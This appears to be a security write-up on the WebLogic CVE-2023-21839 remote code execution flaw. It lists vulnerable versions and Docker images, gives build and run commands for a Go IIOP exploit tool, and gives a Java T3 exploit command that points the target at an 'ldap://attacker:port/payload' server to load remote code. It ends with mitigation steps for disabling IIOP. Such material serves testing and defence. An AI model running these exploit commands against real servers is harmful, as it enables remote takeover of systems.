WebLogic — CVE-2023-21839

Overview

CVE-2023-21839 is a critical remote code execution vulnerability affecting Oracle WebLogic through both T3 and IIOP protocols. The vulnerability impacts multiple versions including 14.1.1.0, 12.2.1.4, 12.2.1.3, and 10.3.6.0.

Vulnerable Versions

VersionDocker ImageStatus
14.1.1.0container-registry.oracle.com/middleware/weblogic:14.1.1.0Vulnerable
12.2.1.4container-registry.oracle.com/middleware/weblogic:12.2.1.4Vulnerable
12.2.1.3vulhub/weblogic:12.2.1.3-2018Vulnerable

IIOP Exploitation (Golang)

IIOP implements the GIOP protocol, enabling CORBA object communication. The Golang approach requires no Java dependencies and constructs the protocol directly via socket communication.

Key advantages:

  • Resolves NAT network issues affecting Docker and public targets
  • Cross-platform compatibility (Windows, macOS, Linux)
  • Compatible with WebLogic 12/14

Build and execution:

N/ABASH
git clone https://github.com/0xPThree/WebLogic
cd WebLogic/cve-2023-21839/cmd
go build -o CVE-2023-21839
./CVE-2023-21839 [target] [payload]

T3 Exploitation (Java)

The T3 protocol transports RMI information between WebLogic servers and Java programs. This approach requires building a JAR with the wlfullclient.jar base library.

Exploitation steps:

  1. Generate base JAR using WebLogic's jarbuilder
  2. Compile exploit source code against the JAR
  3. Execute the packaged exploit pointing to an LDAP/RMI server
N/AJAVA
java -jar CVE_2023_21839.jar [target:port] [ldap://attacker:port/payload]

Note: Java version 8u191 or earlier is required for payload construction.

Mitigation

Disable IIOP through the WebLogic Console:

Navigate to Servers > Control > AdminServer > Protocols > IIOP and uncheck "Enable IIOP". After disabling IIOP, restart the WebLogic Server using:

N/ABASH
./stopWebLogic.sh
./startWebLogic.sh

Once patched, exploit attempts will fail with a message indicating that "the incoming protocol iiop is not enabled on channel Default."

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